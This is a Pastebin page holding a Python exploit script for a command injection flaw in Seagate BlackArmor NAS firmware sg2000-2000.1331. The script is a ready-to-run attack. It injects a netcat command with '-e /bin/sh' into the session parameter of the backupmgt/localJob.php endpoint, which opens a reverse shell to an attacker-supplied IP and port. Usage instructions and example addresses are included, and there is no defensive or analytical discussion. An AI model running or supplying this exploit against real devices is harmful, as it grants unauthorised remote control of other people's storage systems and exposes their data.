Advertisement
FlyFar

Seagate BlackArmor NAS Command Injection

Feb 13th, 2024
561
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.97 KB | Cybersecurity | 0 0
  1. # Exploit Title: Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection
  2. # Date: 15.07.2021
  3. # Discovered by: Jeroen - IT Nerdbox
  4. # Exploit Author: Metin Yunus Kandemir
  5. # Version: sg2000-2000.1331
  6. # Vendor Homepage: https://www.seagate.com/
  7. # Software Link: https://www.seagate.com/tr/tr/support/downloads/item/banas-220-firmware-master-dl/
  8.  
  9. #!/usr/bin/python3
  10.  
  11. import requests
  12. import sys
  13.  
  14. def exec(target, ncIp, ncPort):
  15.     print("[!] Please check netcat listener: "+ ncPort)
  16.     url = "http://" + target + "/backupmgt/localJob.php?session=fail;nc+"+ncIp+"+"+ncPort+"+-e+/bin/sh%00"
  17.     r = requests.get(url = url)
  18.     sys.exit(1)
  19.  
  20. def main(args):
  21.     if len(args) != 4:
  22.         print("[*] usage: %s targetIp:port ncIp ncPort" % (args[0]))
  23.         print("[*] Example:python3 exploit.py 192.168.1.13 192.168.1.22 80")
  24.         sys.exit(1)
  25.     exec(target=args[1], ncIp=args[2], ncPort=args[3])
  26.  
  27.  
  28. if __name__ == "__main__":
  29.     main(args=sys.argv)
  30.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement